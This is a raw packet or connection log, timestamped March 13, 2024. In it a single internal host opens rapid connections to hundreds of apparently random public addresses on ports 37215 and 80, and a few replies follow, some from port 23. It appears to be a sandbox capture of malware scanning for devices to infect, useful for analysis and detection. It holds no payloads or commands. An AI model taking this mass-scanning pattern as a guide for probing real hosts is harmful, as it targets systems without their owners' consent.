Mar 13, 2024 09:34:58.287698984 CET	57653	37215	192.168.2.15	197.95.29.155
Mar 13, 2024 09:34:58.287698984 CET	57653	37215	192.168.2.15	41.118.18.78
Mar 13, 2024 09:34:58.287702084 CET	57653	37215	192.168.2.15	156.231.193.190
Mar 13, 2024 09:34:58.287707090 CET	57141	80	192.168.2.15	13.24.63.202
Mar 13, 2024 09:34:58.287707090 CET	57653	37215	192.168.2.15	41.11.162.120
Mar 13, 2024 09:34:58.287707090 CET	57141	80	192.168.2.15	195.135.50.214
Mar 13, 2024 09:34:58.287707090 CET	57653	37215	192.168.2.15	41.246.35.53
Mar 13, 2024 09:34:58.287707090 CET	57141	80	192.168.2.15	177.45.119.206
Mar 13, 2024 09:34:58.287715912 CET	57141	80	192.168.2.15	9.97.26.88
Mar 13, 2024 09:34:58.287717104 CET	57141	80	192.168.2.15	51.2.190.12
Mar 13, 2024 09:34:58.287717104 CET	57653	37215	192.168.2.15	197.161.91.250
Mar 13, 2024 09:34:58.287718058 CET	57141	80	192.168.2.15	51.247.130.185
Mar 13, 2024 09:34:58.287718058 CET	57653	37215	192.168.2.15	41.90.59.119
Mar 13, 2024 09:34:58.287719011 CET	57653	37215	192.168.2.15	41.135.228.119
Mar 13, 2024 09:34:58.287719011 CET	57653	37215	192.168.2.15	156.36.223.158
Mar 13, 2024 09:34:58.287719011 CET	57653	37215	192.168.2.15	156.52.174.2
Mar 13, 2024 09:34:58.287720919 CET	57653	37215	192.168.2.15	41.64.210.73
Mar 13, 2024 09:34:58.287720919 CET	57653	37215	192.168.2.15	41.174.152.87
Mar 13, 2024 09:34:58.287720919 CET	57141	80	192.168.2.15	40.194.43.166
Mar 13, 2024 09:34:58.287720919 CET	57653	37215	192.168.2.15	41.212.87.12
Mar 13, 2024 09:34:58.287723064 CET	57141	80	192.168.2.15	203.207.216.165
Mar 13, 2024 09:34:58.287720919 CET	57141	80	192.168.2.15	169.153.215.64
Mar 13, 2024 09:34:58.287720919 CET	57653	37215	192.168.2.15	197.39.86.228
Mar 13, 2024 09:34:58.287723064 CET	57141	80	192.168.2.15	90.150.80.171
Mar 13, 2024 09:34:58.287735939 CET	57653	37215	192.168.2.15	197.238.193.65
Mar 13, 2024 09:34:58.287735939 CET	57653	37215	192.168.2.15	197.74.127.42
Mar 13, 2024 09:34:58.287735939 CET	57653	37215	192.168.2.15	156.180.35.219
Mar 13, 2024 09:34:58.287735939 CET	57653	37215	192.168.2.15	197.189.96.22
Mar 13, 2024 09:34:58.287740946 CET	57653	37215	192.168.2.15	197.211.243.203
Mar 13, 2024 09:34:58.287740946 CET	57141	80	192.168.2.15	206.205.107.159
Mar 13, 2024 09:34:58.287745953 CET	57141	80	192.168.2.15	71.208.142.230
Mar 13, 2024 09:34:58.287745953 CET	57653	37215	192.168.2.15	156.213.145.173
Mar 13, 2024 09:34:58.287745953 CET	57653	37215	192.168.2.15	197.230.158.85
Mar 13, 2024 09:34:58.287750006 CET	57653	37215	192.168.2.15	197.167.86.93
Mar 13, 2024 09:34:58.287754059 CET	57653	37215	192.168.2.15	41.155.105.245
Mar 13, 2024 09:34:58.287761927 CET	57653	37215	192.168.2.15	197.86.177.240
Mar 13, 2024 09:34:58.287766933 CET	57653	37215	192.168.2.15	41.72.196.135
Mar 13, 2024 09:34:58.287766933 CET	57653	37215	192.168.2.15	156.132.95.52
Mar 13, 2024 09:34:58.287770033 CET	57653	37215	192.168.2.15	41.94.45.222
Mar 13, 2024 09:34:58.287770033 CET	57653	37215	192.168.2.15	41.255.116.89
Mar 13, 2024 09:34:58.287775993 CET	57653	37215	192.168.2.15	41.103.144.51
Mar 13, 2024 09:34:58.287796021 CET	57653	37215	192.168.2.15	197.1.92.136
Mar 13, 2024 09:34:58.287795067 CET	57653	37215	192.168.2.15	197.211.175.47
Mar 13, 2024 09:34:58.287797928 CET	57653	37215	192.168.2.15	156.71.7.235
Mar 13, 2024 09:34:58.287806988 CET	57653	37215	192.168.2.15	41.250.111.156
Mar 13, 2024 09:34:58.287807941 CET	57653	37215	192.168.2.15	197.101.203.183
Mar 13, 2024 09:34:58.287807941 CET	57653	37215	192.168.2.15	41.142.104.177
Mar 13, 2024 09:34:58.287807941 CET	57653	37215	192.168.2.15	41.101.175.238
Mar 13, 2024 09:34:58.287807941 CET	57653	37215	192.168.2.15	197.64.61.22
Mar 13, 2024 09:34:58.287813902 CET	57653	37215	192.168.2.15	41.51.50.130
Mar 13, 2024 09:34:58.287813902 CET	57653	37215	192.168.2.15	156.245.243.96
Mar 13, 2024 09:34:58.287822008 CET	57653	37215	192.168.2.15	41.26.41.245
Mar 13, 2024 09:34:58.287841082 CET	57653	37215	192.168.2.15	156.155.241.0
Mar 13, 2024 09:34:58.287849903 CET	57653	37215	192.168.2.15	41.2.29.66
Mar 13, 2024 09:34:58.287868023 CET	57653	37215	192.168.2.15	197.161.55.131
Mar 13, 2024 09:34:58.287870884 CET	57653	37215	192.168.2.15	41.226.73.146
Mar 13, 2024 09:34:58.287874937 CET	57653	37215	192.168.2.15	197.244.246.138
Mar 13, 2024 09:34:58.287878036 CET	57653	37215	192.168.2.15	41.211.44.49
Mar 13, 2024 09:34:58.287878036 CET	57653	37215	192.168.2.15	41.174.202.242
Mar 13, 2024 09:34:58.287909031 CET	57653	37215	192.168.2.15	156.155.229.36
Mar 13, 2024 09:34:58.287911892 CET	57653	37215	192.168.2.15	156.248.228.105
Mar 13, 2024 09:34:58.287911892 CET	57653	37215	192.168.2.15	197.156.81.138
Mar 13, 2024 09:34:58.287911892 CET	57653	37215	192.168.2.15	197.169.218.160
Mar 13, 2024 09:34:58.287915945 CET	57141	80	192.168.2.15	173.6.111.103
Mar 13, 2024 09:34:58.287926912 CET	57653	37215	192.168.2.15	197.212.81.96
Mar 13, 2024 09:34:58.287931919 CET	57653	37215	192.168.2.15	197.81.76.152
Mar 13, 2024 09:34:58.287935019 CET	57141	80	192.168.2.15	134.27.177.234
Mar 13, 2024 09:34:58.287935019 CET	57141	80	192.168.2.15	19.209.91.182
Mar 13, 2024 09:34:58.287939072 CET	57653	37215	192.168.2.15	156.171.149.100
Mar 13, 2024 09:34:58.287945986 CET	57653	37215	192.168.2.15	156.88.120.134
Mar 13, 2024 09:34:58.287946939 CET	57141	80	192.168.2.15	19.189.162.53
Mar 13, 2024 09:34:58.287949085 CET	57653	37215	192.168.2.15	156.159.75.165
Mar 13, 2024 09:34:58.287951946 CET	57653	37215	192.168.2.15	156.249.63.141
Mar 13, 2024 09:34:58.287951946 CET	57141	80	192.168.2.15	141.38.21.138
Mar 13, 2024 09:34:58.287970066 CET	57141	80	192.168.2.15	115.180.113.70
Mar 13, 2024 09:34:58.287970066 CET	57141	80	192.168.2.15	154.48.109.77
Mar 13, 2024 09:34:58.287975073 CET	57653	37215	192.168.2.15	41.199.154.141
Mar 13, 2024 09:34:58.287976027 CET	57653	37215	192.168.2.15	156.193.37.244
Mar 13, 2024 09:34:58.287976027 CET	57653	37215	192.168.2.15	156.249.83.47
Mar 13, 2024 09:34:58.287981987 CET	57653	37215	192.168.2.15	41.44.122.62
Mar 13, 2024 09:34:58.287982941 CET	57141	80	192.168.2.15	186.72.56.57
Mar 13, 2024 09:34:58.287982941 CET	57653	37215	192.168.2.15	156.147.49.185
Mar 13, 2024 09:34:58.287991047 CET	57141	80	192.168.2.15	166.25.248.174
Mar 13, 2024 09:34:58.287982941 CET	57653	37215	192.168.2.15	41.33.196.66
Mar 13, 2024 09:34:58.287992954 CET	57653	37215	192.168.2.15	41.166.109.254
Mar 13, 2024 09:34:58.287993908 CET	57653	37215	192.168.2.15	197.206.185.13
Mar 13, 2024 09:34:58.287997961 CET	57141	80	192.168.2.15	126.154.237.230
Mar 13, 2024 09:34:58.287997961 CET	57141	80	192.168.2.15	122.61.58.170
Mar 13, 2024 09:34:58.287997961 CET	57141	80	192.168.2.15	101.123.226.87
Mar 13, 2024 09:34:58.288000107 CET	57653	37215	192.168.2.15	41.98.70.51
Mar 13, 2024 09:34:58.288000107 CET	57653	37215	192.168.2.15	41.128.191.71
Mar 13, 2024 09:34:58.288017035 CET	57653	37215	192.168.2.15	41.102.236.28
Mar 13, 2024 09:34:58.288022041 CET	57141	80	192.168.2.15	84.251.130.214
Mar 13, 2024 09:34:58.288033962 CET	57653	37215	192.168.2.15	41.225.142.164
Mar 13, 2024 09:34:58.288037062 CET	57653	37215	192.168.2.15	41.1.88.207
Mar 13, 2024 09:34:58.288043976 CET	57653	37215	192.168.2.15	197.225.233.145
Mar 13, 2024 09:34:58.288043976 CET	57653	37215	192.168.2.15	156.120.54.251
Mar 13, 2024 09:34:58.288043976 CET	57653	37215	192.168.2.15	197.181.208.84
Mar 13, 2024 09:34:58.288058043 CET	57653	37215	192.168.2.15	156.213.84.96
Mar 13, 2024 09:34:58.288058043 CET	57653	37215	192.168.2.15	156.218.104.190
Mar 13, 2024 09:34:58.288068056 CET	57653	37215	192.168.2.15	41.149.114.8
Mar 13, 2024 09:34:58.288069963 CET	57653	37215	192.168.2.15	41.178.197.186
Mar 13, 2024 09:34:58.288089991 CET	57653	37215	192.168.2.15	156.177.124.9
Mar 13, 2024 09:34:58.288089991 CET	57653	37215	192.168.2.15	156.185.73.25
Mar 13, 2024 09:34:58.288090944 CET	57653	37215	192.168.2.15	197.240.251.134
Mar 13, 2024 09:34:58.288094997 CET	57653	37215	192.168.2.15	197.25.9.55
Mar 13, 2024 09:34:58.288098097 CET	57653	37215	192.168.2.15	41.131.109.223
Mar 13, 2024 09:34:58.288136959 CET	57653	37215	192.168.2.15	41.224.162.251
Mar 13, 2024 09:34:58.288136959 CET	57141	80	192.168.2.15	216.28.9.206
Mar 13, 2024 09:34:58.288140059 CET	57653	37215	192.168.2.15	41.179.229.10
Mar 13, 2024 09:34:58.288141966 CET	57141	80	192.168.2.15	74.252.121.100
Mar 13, 2024 09:34:58.288141012 CET	57141	80	192.168.2.15	223.94.44.203
Mar 13, 2024 09:34:58.288153887 CET	57653	37215	192.168.2.15	41.96.248.119
Mar 13, 2024 09:34:58.288166046 CET	57653	37215	192.168.2.15	156.136.31.126
Mar 13, 2024 09:34:58.288238049 CET	57653	37215	192.168.2.15	156.1.234.70
Mar 13, 2024 09:34:58.288240910 CET	57653	37215	192.168.2.15	197.54.89.241
Mar 13, 2024 09:34:58.288253069 CET	57653	37215	192.168.2.15	41.18.31.48
Mar 13, 2024 09:34:58.288260937 CET	57653	37215	192.168.2.15	197.69.69.224
Mar 13, 2024 09:34:58.288260937 CET	57653	37215	192.168.2.15	197.166.190.112
Mar 13, 2024 09:34:58.288264990 CET	57141	80	192.168.2.15	147.169.166.197
Mar 13, 2024 09:34:58.288278103 CET	57653	37215	192.168.2.15	41.180.120.207
Mar 13, 2024 09:34:58.288278103 CET	57653	37215	192.168.2.15	197.88.216.196
Mar 13, 2024 09:34:58.288285971 CET	57141	80	192.168.2.15	116.101.102.239
Mar 13, 2024 09:34:58.288314104 CET	57653	37215	192.168.2.15	156.79.142.202
Mar 13, 2024 09:34:58.288314104 CET	57141	80	192.168.2.15	164.232.168.221
Mar 13, 2024 09:34:58.288314104 CET	57653	37215	192.168.2.15	197.83.81.13
Mar 13, 2024 09:34:58.288316011 CET	57653	37215	192.168.2.15	197.203.123.25
Mar 13, 2024 09:34:58.288315058 CET	57653	37215	192.168.2.15	156.31.199.247
Mar 13, 2024 09:34:58.288317919 CET	57653	37215	192.168.2.15	197.113.238.56
Mar 13, 2024 09:34:58.288317919 CET	57653	37215	192.168.2.15	41.189.242.27
Mar 13, 2024 09:34:58.288317919 CET	57653	37215	192.168.2.15	156.156.131.236
Mar 13, 2024 09:34:58.288316011 CET	57141	80	192.168.2.15	106.78.72.141
Mar 13, 2024 09:34:58.288324118 CET	57141	80	192.168.2.15	110.9.8.236
Mar 13, 2024 09:34:58.288331985 CET	57141	80	192.168.2.15	218.234.231.101
Mar 13, 2024 09:34:58.288336992 CET	57653	37215	192.168.2.15	197.143.180.132
Mar 13, 2024 09:34:58.288336992 CET	57141	80	192.168.2.15	182.215.68.174
Mar 13, 2024 09:34:58.288341045 CET	57141	80	192.168.2.15	43.239.84.32
Mar 13, 2024 09:34:58.288345098 CET	57653	37215	192.168.2.15	41.123.233.187
Mar 13, 2024 09:34:58.288345098 CET	57141	80	192.168.2.15	94.204.100.39
Mar 13, 2024 09:34:58.288347006 CET	57141	80	192.168.2.15	19.20.83.136
Mar 13, 2024 09:34:58.288352013 CET	57653	37215	192.168.2.15	156.98.170.0
Mar 13, 2024 09:34:58.288352013 CET	57141	80	192.168.2.15	121.180.142.124
Mar 13, 2024 09:34:58.288355112 CET	57141	80	192.168.2.15	90.123.187.242
Mar 13, 2024 09:34:58.288355112 CET	57141	80	192.168.2.15	159.156.101.162
Mar 13, 2024 09:34:58.288361073 CET	57141	80	192.168.2.15	145.111.43.244
Mar 13, 2024 09:34:58.288372040 CET	57141	80	192.168.2.15	89.18.95.225
Mar 13, 2024 09:34:58.288373947 CET	57141	80	192.168.2.15	187.71.8.255
Mar 13, 2024 09:34:58.288373947 CET	57653	37215	192.168.2.15	156.82.70.232
Mar 13, 2024 09:34:58.288377047 CET	57653	37215	192.168.2.15	41.52.235.224
Mar 13, 2024 09:34:58.288377047 CET	57653	37215	192.168.2.15	156.23.88.58
Mar 13, 2024 09:34:58.288373947 CET	57141	80	192.168.2.15	12.112.119.223
Mar 13, 2024 09:34:58.288373947 CET	57653	37215	192.168.2.15	197.54.11.0
Mar 13, 2024 09:34:58.288373947 CET	57653	37215	192.168.2.15	156.205.112.199
Mar 13, 2024 09:34:58.288383961 CET	57653	37215	192.168.2.15	41.106.5.93
Mar 13, 2024 09:34:58.288383961 CET	57653	37215	192.168.2.15	41.87.218.98
Mar 13, 2024 09:34:58.288389921 CET	57141	80	192.168.2.15	8.100.200.90
Mar 13, 2024 09:34:58.288400888 CET	57653	37215	192.168.2.15	41.120.3.19
Mar 13, 2024 09:34:58.288400888 CET	57653	37215	192.168.2.15	156.228.67.172
Mar 13, 2024 09:34:58.288428068 CET	57653	37215	192.168.2.15	41.101.56.218
Mar 13, 2024 09:34:58.288428068 CET	57653	37215	192.168.2.15	156.213.223.200
Mar 13, 2024 09:34:58.288431883 CET	57653	37215	192.168.2.15	41.150.88.218
Mar 13, 2024 09:34:58.288434029 CET	57653	37215	192.168.2.15	156.185.75.230
Mar 13, 2024 09:34:58.288448095 CET	57653	37215	192.168.2.15	41.23.216.39
Mar 13, 2024 09:34:58.288455009 CET	57653	37215	192.168.2.15	197.202.83.104
Mar 13, 2024 09:34:58.288458109 CET	57653	37215	192.168.2.15	156.176.152.11
Mar 13, 2024 09:34:58.288465977 CET	57653	37215	192.168.2.15	41.80.233.224
Mar 13, 2024 09:34:58.288467884 CET	57653	37215	192.168.2.15	41.227.5.52
Mar 13, 2024 09:34:58.288494110 CET	57653	37215	192.168.2.15	41.153.179.233
Mar 13, 2024 09:34:58.288508892 CET	57653	37215	192.168.2.15	197.64.87.45
Mar 13, 2024 09:34:58.288508892 CET	57653	37215	192.168.2.15	197.198.80.79
Mar 13, 2024 09:34:58.288511038 CET	57653	37215	192.168.2.15	156.48.207.9
Mar 13, 2024 09:34:58.288511038 CET	57653	37215	192.168.2.15	156.151.200.201
Mar 13, 2024 09:34:58.288511038 CET	57653	37215	192.168.2.15	197.208.53.132
Mar 13, 2024 09:34:58.288512945 CET	57653	37215	192.168.2.15	156.227.164.0
Mar 13, 2024 09:34:58.288512945 CET	57653	37215	192.168.2.15	41.60.61.253
Mar 13, 2024 09:34:58.288513899 CET	57653	37215	192.168.2.15	197.125.143.86
Mar 13, 2024 09:34:58.288522959 CET	57653	37215	192.168.2.15	41.123.161.83
Mar 13, 2024 09:34:58.288541079 CET	57653	37215	192.168.2.15	41.91.85.83
Mar 13, 2024 09:34:58.288541079 CET	57653	37215	192.168.2.15	197.193.202.83
Mar 13, 2024 09:34:58.288542986 CET	57653	37215	192.168.2.15	156.62.83.146
Mar 13, 2024 09:34:58.288567066 CET	57653	37215	192.168.2.15	156.24.122.228
Mar 13, 2024 09:34:58.288588047 CET	57653	37215	192.168.2.15	156.253.101.54
Mar 13, 2024 09:34:58.288588047 CET	57653	37215	192.168.2.15	41.87.34.112
Mar 13, 2024 09:34:58.288590908 CET	57653	37215	192.168.2.15	197.213.192.150
Mar 13, 2024 09:34:58.288595915 CET	57653	37215	192.168.2.15	197.89.68.162
Mar 13, 2024 09:34:58.288609982 CET	57653	37215	192.168.2.15	41.112.231.255
Mar 13, 2024 09:34:58.288611889 CET	57653	37215	192.168.2.15	197.203.126.249
Mar 13, 2024 09:34:58.288618088 CET	57653	37215	192.168.2.15	41.234.94.246
Mar 13, 2024 09:34:58.288620949 CET	57653	37215	192.168.2.15	41.147.53.86
Mar 13, 2024 09:34:58.288621902 CET	57653	37215	192.168.2.15	156.182.200.0
Mar 13, 2024 09:34:58.288624048 CET	57653	37215	192.168.2.15	41.18.231.221
Mar 13, 2024 09:34:58.288638115 CET	57653	37215	192.168.2.15	156.181.102.180
Mar 13, 2024 09:34:58.288644075 CET	57653	37215	192.168.2.15	156.250.4.68
Mar 13, 2024 09:34:58.288646936 CET	57653	37215	192.168.2.15	156.5.115.239
Mar 13, 2024 09:34:58.288647890 CET	57653	37215	192.168.2.15	156.141.227.19
Mar 13, 2024 09:34:58.288646936 CET	57653	37215	192.168.2.15	197.17.89.35
Mar 13, 2024 09:34:58.288666010 CET	57653	37215	192.168.2.15	156.70.6.25
Mar 13, 2024 09:34:58.288669109 CET	57653	37215	192.168.2.15	197.112.3.33
Mar 13, 2024 09:34:58.288671970 CET	57653	37215	192.168.2.15	156.104.105.233
Mar 13, 2024 09:34:58.288706064 CET	57141	80	192.168.2.15	103.47.129.214
Mar 13, 2024 09:34:58.288707972 CET	57141	80	192.168.2.15	187.254.239.45
Mar 13, 2024 09:34:58.288710117 CET	57141	80	192.168.2.15	83.19.241.148
Mar 13, 2024 09:34:58.288727045 CET	57653	37215	192.168.2.15	41.60.183.59
Mar 13, 2024 09:34:58.288728952 CET	57653	37215	192.168.2.15	197.120.78.184
Mar 13, 2024 09:34:58.288738966 CET	57653	37215	192.168.2.15	156.152.88.147
Mar 13, 2024 09:34:58.288742065 CET	57653	37215	192.168.2.15	41.245.244.69
Mar 13, 2024 09:34:58.288749933 CET	57141	80	192.168.2.15	207.177.55.243
Mar 13, 2024 09:34:58.288749933 CET	57653	37215	192.168.2.15	156.112.54.43
Mar 13, 2024 09:34:58.288765907 CET	57653	37215	192.168.2.15	156.226.52.53
Mar 13, 2024 09:34:58.288769960 CET	57653	37215	192.168.2.15	41.198.181.157
Mar 13, 2024 09:34:58.288769960 CET	57653	37215	192.168.2.15	41.188.25.11
Mar 13, 2024 09:34:58.288769960 CET	57653	37215	192.168.2.15	197.197.253.246
Mar 13, 2024 09:34:58.288772106 CET	57141	80	192.168.2.15	219.228.228.67
Mar 13, 2024 09:34:58.288769960 CET	57653	37215	192.168.2.15	41.161.68.28
Mar 13, 2024 09:34:58.288769960 CET	57141	80	192.168.2.15	47.26.217.224
Mar 13, 2024 09:34:58.288803101 CET	57141	80	192.168.2.15	108.145.12.161
Mar 13, 2024 09:34:58.288830042 CET	57141	80	192.168.2.15	188.168.131.84
Mar 13, 2024 09:34:58.288849115 CET	57141	80	192.168.2.15	61.117.83.127
Mar 13, 2024 09:34:58.288853884 CET	57141	80	192.168.2.15	105.247.97.44
Mar 13, 2024 09:34:58.288853884 CET	57141	80	192.168.2.15	117.9.170.236
Mar 13, 2024 09:34:58.288872957 CET	57141	80	192.168.2.15	143.149.36.100
Mar 13, 2024 09:34:58.288875103 CET	57141	80	192.168.2.15	135.213.130.251
Mar 13, 2024 09:34:58.288875103 CET	57141	80	192.168.2.15	131.71.105.221
Mar 13, 2024 09:34:58.288887024 CET	57141	80	192.168.2.15	193.156.167.120
Mar 13, 2024 09:34:58.288894892 CET	57141	80	192.168.2.15	24.69.188.139
Mar 13, 2024 09:34:58.288903952 CET	57141	80	192.168.2.15	139.165.140.123
Mar 13, 2024 09:34:58.288928032 CET	57141	80	192.168.2.15	83.81.112.252
Mar 13, 2024 09:34:58.288930893 CET	57141	80	192.168.2.15	83.55.24.19
Mar 13, 2024 09:34:58.288932085 CET	57141	80	192.168.2.15	137.155.107.105
Mar 13, 2024 09:34:58.288944006 CET	57141	80	192.168.2.15	70.33.183.206
Mar 13, 2024 09:34:58.289122105 CET	57141	80	192.168.2.15	132.178.107.118
Mar 13, 2024 09:34:58.289134026 CET	57141	80	192.168.2.15	82.108.103.195
Mar 13, 2024 09:34:58.289134026 CET	57141	80	192.168.2.15	159.69.43.41
Mar 13, 2024 09:34:58.289153099 CET	57141	80	192.168.2.15	211.204.38.83
Mar 13, 2024 09:34:58.289174080 CET	57141	80	192.168.2.15	182.144.196.227
Mar 13, 2024 09:34:58.289174080 CET	57141	80	192.168.2.15	139.189.232.86
Mar 13, 2024 09:34:58.289175034 CET	57141	80	192.168.2.15	106.164.180.86
Mar 13, 2024 09:34:58.289186954 CET	57141	80	192.168.2.15	54.144.202.219
Mar 13, 2024 09:34:58.289196014 CET	57141	80	192.168.2.15	62.230.190.11
Mar 13, 2024 09:34:58.289196014 CET	57141	80	192.168.2.15	108.102.198.167
Mar 13, 2024 09:34:58.289196014 CET	57141	80	192.168.2.15	217.60.37.47
Mar 13, 2024 09:34:58.289206028 CET	57141	80	192.168.2.15	173.43.152.136
Mar 13, 2024 09:34:58.289217949 CET	57141	80	192.168.2.15	106.70.128.36
Mar 13, 2024 09:34:58.289230108 CET	57141	80	192.168.2.15	196.178.46.68
Mar 13, 2024 09:34:58.289230108 CET	57141	80	192.168.2.15	79.186.255.223
Mar 13, 2024 09:34:58.289237022 CET	57141	80	192.168.2.15	192.88.100.242
Mar 13, 2024 09:34:58.289258957 CET	57141	80	192.168.2.15	155.56.168.121
Mar 13, 2024 09:34:58.289280891 CET	57141	80	192.168.2.15	216.95.200.1
Mar 13, 2024 09:34:58.289587975 CET	57141	80	192.168.2.15	169.87.189.92
Mar 13, 2024 09:34:58.289587975 CET	57141	80	192.168.2.15	135.71.244.49
Mar 13, 2024 09:34:58.289614916 CET	57141	80	192.168.2.15	195.14.240.31
Mar 13, 2024 09:34:58.289616108 CET	57141	80	192.168.2.15	153.121.183.111
Mar 13, 2024 09:34:58.289614916 CET	57141	80	192.168.2.15	220.32.23.195
Mar 13, 2024 09:34:58.289638042 CET	57141	80	192.168.2.15	91.0.194.106
Mar 13, 2024 09:34:58.289638042 CET	57141	80	192.168.2.15	40.126.165.151
Mar 13, 2024 09:34:58.289657116 CET	57141	80	192.168.2.15	204.244.246.179
Mar 13, 2024 09:34:58.289658070 CET	57141	80	192.168.2.15	107.40.101.25
Mar 13, 2024 09:34:58.289659023 CET	57141	80	192.168.2.15	50.209.79.61
Mar 13, 2024 09:34:58.289663076 CET	57141	80	192.168.2.15	211.182.20.76
Mar 13, 2024 09:34:58.289702892 CET	57141	80	192.168.2.15	177.132.53.35
Mar 13, 2024 09:34:58.289726019 CET	57141	80	192.168.2.15	201.210.109.161
Mar 13, 2024 09:34:58.289726973 CET	57141	80	192.168.2.15	176.230.158.3
Mar 13, 2024 09:34:58.289752960 CET	57141	80	192.168.2.15	104.95.96.101
Mar 13, 2024 09:34:58.289768934 CET	57141	80	192.168.2.15	88.192.79.182
Mar 13, 2024 09:34:58.289769888 CET	57141	80	192.168.2.15	52.118.23.192
Mar 13, 2024 09:34:58.289769888 CET	57141	80	192.168.2.15	213.239.35.196
Mar 13, 2024 09:34:58.289782047 CET	57141	80	192.168.2.15	79.46.141.16
Mar 13, 2024 09:34:58.289793968 CET	57141	80	192.168.2.15	57.56.46.230
Mar 13, 2024 09:34:58.289798021 CET	57141	80	192.168.2.15	60.234.191.40
Mar 13, 2024 09:34:58.289935112 CET	57141	80	192.168.2.15	40.32.79.244
Mar 13, 2024 09:34:58.289953947 CET	57141	80	192.168.2.15	105.60.38.49
Mar 13, 2024 09:34:58.289968967 CET	57141	80	192.168.2.15	117.57.166.126
Mar 13, 2024 09:34:58.289969921 CET	57141	80	192.168.2.15	145.86.192.166
Mar 13, 2024 09:34:58.289978981 CET	57141	80	192.168.2.15	218.18.118.139
Mar 13, 2024 09:34:58.289978981 CET	57141	80	192.168.2.15	183.0.2.211
Mar 13, 2024 09:34:58.289985895 CET	57141	80	192.168.2.15	182.34.75.214
Mar 13, 2024 09:34:58.289988041 CET	57141	80	192.168.2.15	163.190.163.17
Mar 13, 2024 09:34:58.289989948 CET	57141	80	192.168.2.15	147.137.116.197
Mar 13, 2024 09:34:58.289989948 CET	57141	80	192.168.2.15	126.136.10.159
Mar 13, 2024 09:34:58.289989948 CET	57141	80	192.168.2.15	162.42.137.68
Mar 13, 2024 09:34:58.289999008 CET	57141	80	192.168.2.15	186.131.50.6
Mar 13, 2024 09:34:58.289999962 CET	57141	80	192.168.2.15	59.199.207.220
Mar 13, 2024 09:34:58.290002108 CET	57141	80	192.168.2.15	222.195.104.142
Mar 13, 2024 09:34:58.290009975 CET	57141	80	192.168.2.15	111.210.73.247
Mar 13, 2024 09:34:58.290025949 CET	57141	80	192.168.2.15	162.208.232.230
Mar 13, 2024 09:34:58.290029049 CET	57141	80	192.168.2.15	108.255.119.76
Mar 13, 2024 09:34:58.290030956 CET	57141	80	192.168.2.15	57.151.132.132
Mar 13, 2024 09:34:58.290036917 CET	57141	80	192.168.2.15	59.205.73.73
Mar 13, 2024 09:34:58.290043116 CET	57141	80	192.168.2.15	108.117.76.6
Mar 13, 2024 09:34:58.290057898 CET	57141	80	192.168.2.15	169.124.166.126
Mar 13, 2024 09:34:58.290071964 CET	57141	80	192.168.2.15	190.103.40.231
Mar 13, 2024 09:34:58.290373087 CET	57141	80	192.168.2.15	200.79.192.227
Mar 13, 2024 09:34:58.290384054 CET	57141	80	192.168.2.15	122.87.121.28
Mar 13, 2024 09:34:58.290399075 CET	57141	80	192.168.2.15	221.253.184.144
Mar 13, 2024 09:34:58.290400028 CET	57141	80	192.168.2.15	91.246.63.209
Mar 13, 2024 09:34:58.290405989 CET	57141	80	192.168.2.15	175.24.49.46
Mar 13, 2024 09:34:58.290417910 CET	57141	80	192.168.2.15	2.11.166.47
Mar 13, 2024 09:34:58.290426970 CET	57141	80	192.168.2.15	200.162.47.110
Mar 13, 2024 09:34:58.290438890 CET	57141	80	192.168.2.15	196.92.189.124
Mar 13, 2024 09:34:58.290458918 CET	57141	80	192.168.2.15	222.13.47.197
Mar 13, 2024 09:34:58.290481091 CET	57141	80	192.168.2.15	183.115.218.128
Mar 13, 2024 09:34:58.290497065 CET	57141	80	192.168.2.15	42.213.134.127
Mar 13, 2024 09:34:58.290513039 CET	57141	80	192.168.2.15	204.127.210.110
Mar 13, 2024 09:34:58.290518045 CET	57141	80	192.168.2.15	173.181.192.153
Mar 13, 2024 09:34:58.290518045 CET	57141	80	192.168.2.15	57.172.71.193
Mar 13, 2024 09:34:58.290523052 CET	57141	80	192.168.2.15	18.232.77.18
Mar 13, 2024 09:34:58.290532112 CET	57141	80	192.168.2.15	202.24.57.60
Mar 13, 2024 09:34:58.290544033 CET	57141	80	192.168.2.15	103.112.212.45
Mar 13, 2024 09:34:58.290559053 CET	57141	80	192.168.2.15	204.181.46.89
Mar 13, 2024 09:34:58.290570974 CET	57141	80	192.168.2.15	40.191.91.167
Mar 13, 2024 09:34:58.290710926 CET	57141	80	192.168.2.15	80.203.167.72
Mar 13, 2024 09:34:58.290713072 CET	57141	80	192.168.2.15	63.39.232.14
Mar 13, 2024 09:34:58.290725946 CET	57141	80	192.168.2.15	39.29.248.200
Mar 13, 2024 09:34:58.290730953 CET	57141	80	192.168.2.15	146.62.123.126
Mar 13, 2024 09:34:58.290735960 CET	57141	80	192.168.2.15	93.4.156.141
Mar 13, 2024 09:34:58.290740013 CET	57141	80	192.168.2.15	144.105.117.9
Mar 13, 2024 09:34:58.290761948 CET	57141	80	192.168.2.15	66.252.229.76
Mar 13, 2024 09:34:58.290766954 CET	57141	80	192.168.2.15	59.146.8.170
Mar 13, 2024 09:34:58.290772915 CET	57141	80	192.168.2.15	125.130.244.33
Mar 13, 2024 09:34:58.290775061 CET	57141	80	192.168.2.15	13.26.130.214
Mar 13, 2024 09:34:58.290807962 CET	57141	80	192.168.2.15	73.115.60.101
Mar 13, 2024 09:34:58.291033030 CET	57141	80	192.168.2.15	44.249.37.245
Mar 13, 2024 09:34:58.291034937 CET	57141	80	192.168.2.15	168.136.79.53
Mar 13, 2024 09:34:58.291034937 CET	57141	80	192.168.2.15	210.189.116.138
Mar 13, 2024 09:34:58.291034937 CET	57141	80	192.168.2.15	46.231.31.110
Mar 13, 2024 09:34:58.291049004 CET	57141	80	192.168.2.15	207.130.60.39
Mar 13, 2024 09:34:58.291081905 CET	57141	80	192.168.2.15	164.245.216.78
Mar 13, 2024 09:34:58.291081905 CET	57141	80	192.168.2.15	182.86.216.203
Mar 13, 2024 09:34:58.291095972 CET	57141	80	192.168.2.15	8.46.188.196
Mar 13, 2024 09:34:58.291095972 CET	57141	80	192.168.2.15	131.142.254.174
Mar 13, 2024 09:34:58.291124105 CET	57141	80	192.168.2.15	133.201.132.126
Mar 13, 2024 09:34:58.291219950 CET	57141	80	192.168.2.15	189.76.68.109
Mar 13, 2024 09:34:58.413048983 CET	80	57141	91.246.63.209	192.168.2.15
Mar 13, 2024 09:34:58.413345098 CET	57141	80	192.168.2.15	91.246.63.209
Mar 13, 2024 09:34:58.463124037 CET	23	56885	213.160.23.120	192.168.2.15
Mar 13, 2024 09:34:58.548439026 CET	23	56885	60.69.222.150	192.168.2.15
Mar 13, 2024 09:34:58.570183992 CET	23	56885	211.200.29.33	192.168.2.15
